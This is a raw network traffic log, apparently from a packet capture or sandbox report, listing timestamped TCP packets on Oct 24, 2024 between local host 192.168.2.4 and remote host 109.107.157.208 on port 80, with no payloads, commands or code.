Oct 24, 2024 13:27:08.727047920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727068901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727072954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727108955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727133989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727142096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727168083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727178097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727195978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727209091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727235079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727256060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727262020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727294922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727349043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727349043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727355957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727405071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727408886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727449894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727478981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727485895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727498055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727521896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727540970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727556944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727585077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727593899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727622986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727643013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727643013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727657080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727673054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727693081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727715015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727724075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727736950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727763891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727776051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727817059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727821112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727869987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727869987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727906942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727931023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727936029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727948904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727987051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727991104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728043079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728046894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728075981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728096962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728110075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728133917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728140116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728159904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728176117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728188992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728210926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728231907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728240013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728269100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728276014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728287935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728311062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728331089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728354931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728368044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728413105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728414059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728442907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728471994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728494883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728497028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728542089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728553057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728600025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728604078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728640079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728651047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728689909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728693008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728725910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728740931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728774071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728777885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728812933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728826046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728842020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728863001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728876114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728898048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728920937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.728929996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728960037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.728979111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729002953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729012012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729046106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729062080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729079008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729090929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729116917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729129076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729146004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729171038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729180098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729190111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729229927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729233980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729268074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729285002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729319096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729321957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729372978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729373932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729408979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729422092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729443073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729460955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729490042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729497910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729532003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729548931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729587078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729603052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729620934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729633093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729665995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729675055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729710102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729731083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729743958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729753971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729777098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729792118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729816914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729835033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729851007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729871035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729901075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.729912996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729970932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.729974985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730017900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730031013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730065107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730081081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730117083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730117083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730149984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730168104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730204105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730205059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730235100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730257988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730274916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730287075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730338097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730339050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730370998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730387926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730406046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730416059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730439901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730458021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730472088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730495930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730505943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730518103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730535030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730560064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730567932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730577946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730617046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730626106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730679035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730679035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730715990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730735064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730750084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730761051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730784893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730792046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730839014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730839968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730874062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730890989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730907917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730920076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730943918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730957985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.730978012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.730999947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731010914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731023073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731045008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731061935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731080055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731096029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731113911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731129885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731148958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731168032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731182098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731200933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731215000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731237888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731249094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731261015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731286049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731296062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731336117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731338024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731378078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.731389999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.731427908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.766470909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.772331953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006513119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006581068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006617069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006634951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006669044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006705046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006740093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006772995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006807089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006839991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006872892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006906986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006941080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.006974936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007008076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007045984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007127047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007306099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007306099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007611036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007657051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007694960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007730007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007767916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007778883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007780075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007780075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007805109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007814884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007814884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007843018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007858992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007879019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007914066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007921934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007942915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007947922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.007962942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.007982969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008006096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008018017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008023024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008054018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008085012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008090973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008125067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008147001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008147001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008160114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008176088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008194923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008218050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008250952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008254051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008304119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008306026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008339882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008361101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008373976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008398056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008409977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008441925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008444071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008462906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008479118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008514881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008523941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008523941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008548021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008574009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008583069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008594036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008620024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008641005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008655071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008678913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008692026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008697033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008728027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008748055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008761883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008785963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008799076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008822918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008827925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008853912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008862972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008876085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008897066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008917093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008934021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008954048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.008969069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.008992910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009002924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009021997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009044886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009061098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009078979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009100914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009113073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009135962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009150982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009165049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009185076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009213924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009219885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009255886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009290934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009325027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009357929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009370089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009392023 CEST	80	49730	109.107.157.208	192.168.2.4
